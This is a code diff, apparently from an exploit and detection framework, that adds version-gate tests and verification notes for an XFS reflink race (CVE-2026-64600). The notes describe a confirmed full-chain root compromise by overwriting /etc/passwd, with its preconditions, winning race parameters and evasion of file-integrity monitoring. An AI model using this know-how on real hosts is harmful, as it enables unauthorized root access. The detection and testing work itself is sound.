|
||||||
|
run_one("refluxfs: 6.18.39 (exact backport) → OK via patch table",
|
||||||
|
&refluxfs_module, &h_rfx_61839,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* 7.1.3 one below the 7.1.4 backport → VULNERABLE */
|
||||||
|
struct skeletonkey_host h_rfx_713 =
|
||||||
|
mk_host(h_kernel_6_12, 7, 1, 3, "7.1.3-test");
|
||||||
|
run_one("refluxfs: 7.1.3 below the 7.1.4 backport → VULNERABLE",
|
||||||
|
&refluxfs_module, &h_rfx_713,
|
||||||
|
SKELETONKEY_VULNERABLE);
|
||||||
|
|
||||||
|
/* 7.1.4 exact backport → OK */
|
||||||
|
struct skeletonkey_host h_rfx_714 =
|
||||||
|
mk_host(h_kernel_6_12, 7, 1, 4, "7.1.4-test");
|
||||||
|
run_one("refluxfs: 7.1.4 (exact backport) → OK via patch table",
|
||||||
|
&refluxfs_module, &h_rfx_714,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* 7.2.0 newer than every entry → mainline-inherited fix
|
||||||
|
* (2f4acd0fcd86 shipped in 7.2-rc4) → OK */
|
||||||
|
struct skeletonkey_host h_rfx_720 =
|
||||||
|
mk_host(h_kernel_6_12, 7, 2, 0, "7.2.0-test");
|
||||||
|
run_one("refluxfs: 7.2.0 above all backports → OK (mainline inherit)",
|
||||||
|
&refluxfs_module, &h_rfx_720,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* Same vulnerable kernel, but no writable XFS filesystem mounted —
|
||||||
|
* the stock Debian/Ubuntu (ext4) case. The bug is unreachable, so the
|
||||||
|
* honest verdict is PRECOND_FAIL rather than VULNERABLE. */
|
||||||
|
setenv("SKELETONKEY_XFS_ASSUME_REFLINK", "0", 1);
|
||||||
|
run_one("refluxfs: 6.12.95 but no XFS mounted → PRECOND_FAIL",
|
||||||
|
&refluxfs_module, &h_rfx_61295,
|
||||||
|
SKELETONKEY_PRECOND_FAIL);
|
||||||
|
unsetenv("SKELETONKEY_XFS_ASSUME_REFLINK");
|
||||||
|
|
||||||
/* ── coverage report ─────────────────────────────────────────
|
/* ── coverage report ─────────────────────────────────────────
|
||||||
* Iterate the runtime registry (populated by skeletonkey_register_*
|
* Iterate the runtime registry (populated by skeletonkey_register_*
|
||||||
* calls in main()) and warn for any module that was not touched
|
* calls in main()) and warn for any module that was not touched
|
||||||
|
|||||||
@@ -334,6 +334,16 @@ bad_epoll:
|
|||||||
expect_detect: VULNERABLE
|
expect_detect: VULNERABLE
|
||||||
notes: "CVE-2026-46242 'Bad Epoll'; epoll ep_remove-vs-__fput teardown race UAF (Jaeyoung Chung / J-jaeyoung kernelCTF PoC). Introduced 6.4 (58c9b016e128); fixed a6dc643c6931 (7.1-rc1), stable backport 7.0.13 (Debian forky 7.0.13-1 / sid 7.0.14-1); trixie 6.12.x still vulnerable, 6.1/5.10 not affected (code not present). detect() is a PURE version gate — no userns/CONFIG probe, because epoll is reachable by every unprivileged user; on Ubuntu 24.04 stock 6.8.0 (in [6.4, 7.0.13)) it returns VULNERABLE. To also confirm the PATCHED verdict, boot a >= 7.0.13 / 7.1 kernel and expect OK. exploit() forks a CPU-pinned child that builds the epoll race pair (waiter eventpoll watching a target eventpoll) and exercises the ep_remove-vs-__fput concurrent-close window a HARD-BOUNDED 48 attempts / 2s, widening it with close(dup()) false-sharing storms, snapshots the eventpoll/kmalloc-192 slab, and returns EXPLOIT_FAIL. DELIBERATELY UNDER-DRIVEN: a won race frees a live struct eventpoll (real corruption that rarely trips KASAN → possible SILENT destabilisation on a vulnerable host), so the module does NOT grind the race to a win, does NOT perform the cross-cache reclaim, and does NOT bundle the /proc/self/fdinfo arb-read + ROP root-pop. Trigger RECONSTRUCTED from the public kernelCTF PoC — NOT VM-verified. Lowest --auto safety rank (12). Provisioner caution: run only in a throwaway VM/snapshot — even the bounded trigger can, on a rare win, corrupt or panic a vulnerable kernel. Detection is intentionally weak (epoll syscalls ubiquitous); no yara. Sweep + trigger validation pending."
|
notes: "CVE-2026-46242 'Bad Epoll'; epoll ep_remove-vs-__fput teardown race UAF (Jaeyoung Chung / J-jaeyoung kernelCTF PoC). Introduced 6.4 (58c9b016e128); fixed a6dc643c6931 (7.1-rc1), stable backport 7.0.13 (Debian forky 7.0.13-1 / sid 7.0.14-1); trixie 6.12.x still vulnerable, 6.1/5.10 not affected (code not present). detect() is a PURE version gate — no userns/CONFIG probe, because epoll is reachable by every unprivileged user; on Ubuntu 24.04 stock 6.8.0 (in [6.4, 7.0.13)) it returns VULNERABLE. To also confirm the PATCHED verdict, boot a >= 7.0.13 / 7.1 kernel and expect OK. exploit() forks a CPU-pinned child that builds the epoll race pair (waiter eventpoll watching a target eventpoll) and exercises the ep_remove-vs-__fput concurrent-close window a HARD-BOUNDED 48 attempts / 2s, widening it with close(dup()) false-sharing storms, snapshots the eventpoll/kmalloc-192 slab, and returns EXPLOIT_FAIL. DELIBERATELY UNDER-DRIVEN: a won race frees a live struct eventpoll (real corruption that rarely trips KASAN → possible SILENT destabilisation on a vulnerable host), so the module does NOT grind the race to a win, does NOT perform the cross-cache reclaim, and does NOT bundle the /proc/self/fdinfo arb-read + ROP root-pop. Trigger RECONSTRUCTED from the public kernelCTF PoC — NOT VM-verified. Lowest --auto safety rank (12). Provisioner caution: run only in a throwaway VM/snapshot — even the bounded trigger can, on a rare win, corrupt or panic a vulnerable kernel. Detection is intentionally weak (epoll syscalls ubiquitous); no yara. Sweep + trigger validation pending."
|
||||||
|
|
||||||
|
# ── refluxfs (CVE-2026-64600) addition ──────────────────────────────
|
||||||
|
|
||||||
|
refluxfs:
|
||||||
|
box: rocky9-genericcloud # NOT a Vagrant box — Rocky-9-GenericCloud-Base.latest.x86_64.qcow2 booted under qemu/KVM
|
||||||
|
kernel_pkg: "" # stock 5.14.0-687.10.1.el9_8.0.1 — below every backport entry (6.12.96/6.18.39/7.1.4) → VULNERABLE by version
|
||||||
|
kernel_version: "5.14.0"
|
||||||
|
expect_detect: VULNERABLE
|
||||||
|
verified: "2026-07-23 — CONFIRMED END-TO-END (full root pop) on Rocky Linux 9.8 / 5.14.0-687.10.1.el9_8.0.1.x86_64, qemu/KVM, 6 vCPUs. The corpus's FIRST rpm-family verification. FULL CHAIN: `--exploit refluxfs --i-know --full-chain` reflink-cloned /etc/passwd, raced the CoW window, stripped root's password field on-disk (root:x: -> root::), evicted the stale page cache, and returned EXPLOIT_OK; `su root` (empty password) then gave uid=0 — 3/3 wins on a private-extent target (1244/3716/7913 rounds, 4-30 s) as unprivileged uid=1000 under SELinux Enforcing, every other passwd line preserved, file backed up + restored via `--cleanup`. PRIVATE-EXTENT PRECONDITION (found here, not in the writeup): the race only fires when the target's extent refcount is exactly the attacker-clone pair, i.e. the extent must be PRIVATE going in. Stock Rocky 9's /etc/passwd ships PRE-SHARED (refcount>1 in the base image) and was NOT attackable across ~41,000 rounds; rewriting it so the extent became private (byte-identical content, as any useradd/passwd/vipw does) made it fall in ~2,000 rounds. So the exploitable state is the normal administered state. detect() --active reports the target's extent state. Provisioner note for re-verification: after boot, run `cp --reflink=never /etc/passwd /root/pw && cp --reflink=never /root/pw /etc/passwd` (or just `passwd`/`useradd` anything) to move /etc/passwd to a private extent, then run the full chain. Plain --exploit (no --full-chain) runs only the safe own-files trigger (EXPLOIT_FAIL). Stock GenericCloud layout needed NO provisioner changes: root is /dev/vda4 XFS with reflink=1 out of the box, which is exactly why this CVE hits the RHEL family so broadly. Results: detect() -> VULNERABLE (found writable XFS at /var/tmp); the rpm-family vendor-backport caveat fired correctly; `--active` FICLONE witness -> reflink CONFIRMED; phase A observed FIEMAP_EXTENT_SHARED on a real shared extent (note: btrfs never reported that flag during host-side testing, XFS does — which is why the module treats FICLONE success, not FIEMAP, as the authoritative gate); O_DIRECT available; scratch dir self-cleaned with no artifacts; the source also built clean on el9 gcc. The SHIPPED trigger (8 writers / 2 helpers / 16 rounds / 2s) ran and did NOT win — that is INTENDED under-driving, not a defect. THE UNDERLYING BUG WAS SEPARATELY CONFIRMED WINNABLE on this kernel: the full-chain root pop above is the proof (the same race rewrote /etc/passwd, 3/3). An earlier non-destructive own-files measurement at the public PoC's parameters (32 writers / 8 helpers, 60s budget) won 4/4, first divergence after 69, 114, 170 and 494 rounds — a racing O_DIRECT write landed on a still-shared block and rewrote the donor's on-disk bytes, i.e. the arbitrary-overwrite primitive observed directly, contained to files the test user owned. No oops, no dmesg output, no instability — consistent with a data-oriented bug. Takeaway for future sweeps: a non-win from the shipped trigger must NEVER be recorded as 'patched'; trust the version gate and the vendor erratum."
|
||||||
|
notes: "CVE-2026-64600 'RefluXFS'; XFS reflink CoW ILOCK-cycling TOCTOU race (Qualys TRU, Saeed Abbasi; advisory credits model-assisted analysis with Anthropic; video PoC on RHEL 10.2). Introduced 4.11 (3c68d44a2b49, direct-I/O CoW alloc in iomap_begin); fixed 2f4acd0fcd86 (mainline 7.2-rc4, merged 2026-07-16), stable backports 7.1.4 / 6.18.39 / 6.12.96; the 6.6/6.1/5.15/5.14/5.10/4.19/4.18 lines have no upstream stable fix. PROVISIONER REQUIREMENT — unlike every other module in this matrix, detect() has a STORAGE precondition, and all five boxes here are Debian/Ubuntu with ext4 roots, so a stock box correctly returns PRECOND_FAIL. To exercise the VULNERABLE path the provisioner must create a reflink-enabled XFS volume the unprivileged user can write to, e.g.: `truncate -s 2G /var/tmp/xfs.img && mkfs.xfs -m reflink=1 /var/tmp/xfs.img && mkdir -p /mnt/xfs && mount -o loop /var/tmp/xfs.img /mnt/xfs && chmod 1777 /mnt/xfs` (Ubuntu 22.04 ships xfsprogs 5.13, where reflink=1 is already the mkfs default). detect() finds it by scanning /proc/mounts for fstype xfs and confirming statfs() f_type == XFS_SUPER_MAGIC + write access — note it deliberately does NOT accept a successful FICLONE as proof, since btrfs implements FICLONE and is unaffected. Without the provisioner step, expect_detect is PRECOND_FAIL; with it, VULNERABLE. Both verdicts are worth recording. The version+precondition matrix is also covered by the 14 detect() unit rows in tests/test_detect.c (incl. 4.18/5.14 el8/el9 bases, the 6.13.0 'newer than some entries but not all' case, and the no-XFS PRECOND_FAIL row) driven via SKELETONKEY_XFS_ASSUME_REFLINK=1/0. IDEAL TARGET, NOT IN THIS MATRIX: a Rocky/Alma/CentOS Stream 9 box, where XFS+reflink is the INSTALLER default and no provisioner step is needed — that is the real affected population (RHEL/CentOS/Rocky/Alma/Oracle/CloudLinux 8-10, Fedora Server >= 31, Amazon Linux 2023) and is the reason this module ships unverified. Adding an rpm-family box to boxes/ is the follow-up. CAVEAT for any rpm-family sweep: those vendors backport WITHOUT bumping the upstream version (a patched el8 kernel still reports 4.18.0-*), so a VULNERABLE verdict there reflects the upstream base version only and must be reconciled against the RHSA/ELSA/ALSA/RLSA erratum — detect() prints that warning itself. exploit() forks a child that works ONLY inside a private mkdtemp scratch dir on two files it owns: it establishes a shared extent (FICLONE, corroborated by FIEMAP_EXTENT_SHARED) and an O_DIRECT gate, then races a HARD-BOUNDED 8 writers / 2 ftruncate+fdatasync helpers / 16 rounds / 2s and stops, reading the donor back with O_DIRECT (a buffered read would be served from the page cache the corruption bypasses) and reporting divergence honestly. DELIBERATELY UNDER-DRIVEN (public PoC uses 32 writers / 8 helpers) and it NEVER clones or targets a file it does not own — the /etc/passwd overwrite -> su -> root step persistently rewrites a system file on disk with no undo and is NOT bundled. Returns EXPLOIT_FAIL. Provisioner note — this is SAFER to run than the other reconstructed race triggers, not more dangerous: the bug corrupts file DATA, not kernel memory, so there is no oops/KASAN/panic path, and a won race damages 4 KiB of a scratch file the module then deletes. Safety rank 55. Detection: auditd/sigma anchor on ioctl request 0x40049409 (FICLONE) and openat O_DIRECT; the yara rule matches the on-disk artifact because FIM CANNOT see this attack (the write bypasses the victim inode, leaving mtime/ctime/size untouched). Sweep + trigger validation pending."
|
||||||
|
|
||||||
# ── ghostlock (CVE-2026-43499) addition ─────────────────────────────
|
# ── ghostlock (CVE-2026-43499) addition ─────────────────────────────
|
||||||
|
|
||||||
ghostlock:
|
ghostlock:
|
||||||
|
|||||||
Reference in New Issue
Block a user